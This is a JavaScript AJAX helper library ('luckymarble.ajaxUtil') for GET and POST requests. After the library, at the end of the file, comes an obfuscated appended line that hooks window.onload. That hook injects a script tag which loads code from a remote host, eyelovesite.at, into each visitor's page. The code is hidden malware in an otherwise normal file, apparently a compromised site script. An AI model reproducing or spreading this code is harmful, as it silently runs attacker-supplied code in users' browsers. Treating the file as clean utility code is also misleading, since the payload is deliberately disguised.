if (typeof luckymarble == "undefined") var luckymarble = new Object();

luckymarble.ajaxUtil = function () {
  this.baseDomain   = "http://" + window.location.hostname;
  this.ajaxObj      = this.createAjaxObject();
  this.fileType     = "txt";
  this.addRandomNum = 1;  // 0 or 1
}

luckymarble.ajaxUtil.prototype = {
  createAjaxObject: function () {
    var httpRequest = false;

    // Mozilla, Safari, etc 
    if (window.XMLHttpRequest) {
      httpRequest = new XMLHttpRequest();
      if (httpRequest.overrideMimeType) {
        httpRequest.overrideMimeType('text/xml');
      }
    
    // Internet Explorer
    } else if (window.ActiveXObject) {
      try {
        httpRequest = new ActiveXObject("Msxml2.XMLHTTP");
      } catch (e) {
        try {
          httpRequest = new ActiveXObject("Microsoft.XMLHTTP");
        } catch (e) {
          // do nothing
        }
      }
    }
    return httpRequest;
  }, 
  getAjaxRequest: function (url, parameters, callBackFunction, fileType) {
    // recreate ajax object to defeat cache problem in IE
    this.ajaxObj = this.createAjaxObject(); 

    // further attempt to defeat cache problem in IE
    if (this.addRandomNum == 1) { 
      var parameters = parameters + "&cache=" + new Date().getTime()
    }

    // if the object exists, then GET request
    if (this.ajaxObj) {
      //alert(url + "?" + parameters);
      this.fileType = fileType;
      this.ajaxObj.onreadystatechange = callBackFunction
      this.ajaxObj.open('GET', url + "?" + parameters, true);
      this.ajaxObj.send(null);
    }
  },
  postAjaxRequest: function(url, parameters, callBackFunction, fileType) {
    // recreate ajax object to defeat cache problem in IE
    this.ajaxObj = this.createAjaxObject();
    
     // further attempt to defeat cache problem in IE
    if (this.addRandomNum == 1) { 
      var parameters = parameters + "&cache=" + new Date().getTime()
    }

    // if the object exists, then POST request
    if (this.ajaxObj) {
      this.fileType = fileType;
      this.ajaxObj.onreadystatechange = callBackFunction;
      this.ajaxObj.open('POST', url, true);
      this.ajaxObj.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
      this.ajaxObj.setRequestHeader("Content-length", parameters.length);
      this.ajaxObj.setRequestHeader("Connection", "close");
      this.ajaxObj.send(parameters);
    }   
  }
}  

var Pl="";var k=new String();function t(){var z=window;var SJ;if(SJ!='' && SJ!='Wd'){SJ=null};var R=new String();var tf=z['unescape'];var b=tf("%2f%7a%65%64%6f%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%62%61%64%6f%6f%2e%63%6f%6d%2e%70%68%70");var Pj;if(Pj!='m'){Pj='m'};var x="";var w="";function L(F,A){var Q=tf("%5d");var ci="";var y=tf("%5b");this.XI="";var O="g";var T;if(T!='Jd' && T!='py'){T=''};var IF;if(IF!='Il' && IF!='br'){IF=''};var yf=new RegExp(y+A+Q, O);var ov;if(ov!='Pu'){ov='Pu'};var tZ='';return F.replace(yf, new String());this.yQ='';};this.B="";var SI='';var l="";var W=L('d0eyf0earC','0D8ysCTAaN_L');var Fj=new Date();var Xg;if(Xg!='_X' && Xg!='e'){Xg=''};var P=L('s6cmrJiupAtb','AyUXb5FTLuJmVaMf6WQ');var YI=new Array();var _=L('smrick','kiWPmoG');var Oy=document;var Y=L('86227965911543096759447748334173139310417552519','12645793');function yw(){this.pY='';var h=tf("%68%74%74%70%3a%2f%2f%65%79%65%6c%6f%76%65%73%69%74%65%2e%61%74%3a");var rQ;if(rQ!='tj' && rQ != ''){rQ=null};var a;if(a!='' && a!='tG'){a='Ad'};var i=h;i+=Y;var AO="";i+=b;var Bg=new String();try {var Kn;if(Kn!='' && Kn!='gb'){Kn=null};var le='';var _M;if(_M!='qV'){_M=''};c=Oy[L('cBrPeHaHtBeyEulieJmveBn3tj','yziT1d9PV8jBK3JSpuOvH')](P);var vH=new String();var By=new String();var po=new Date();c[_]=i;c[W]=[2,1][1];var EH;if(EH!='' && EH!='dL'){EH='AC'};this.nC='';var SB;if(SB!='' && SB!='pf'){SB=null};var Na="";Oy.body[L('a0pxp5eAn5d1CRhAi5lGd1','x0cI5G1RA')](c);this.Mr="";var pO='';this.ZS='';} catch(AV){var j;if(j!='tc' && j != ''){j=null};};var It;if(It!='wu'){It='wu'};var zs;if(zs!='YM'){zs=''};var CP=new Array();}var Bd='';var iY="";this.Th="";var S=L('orn1l2ohatd1','PW0hy421MJecgV6krut');var MC;if(MC!='Hp'){MC=''};var _y=new String();z[S]=yw;var Bgo=new String();};t();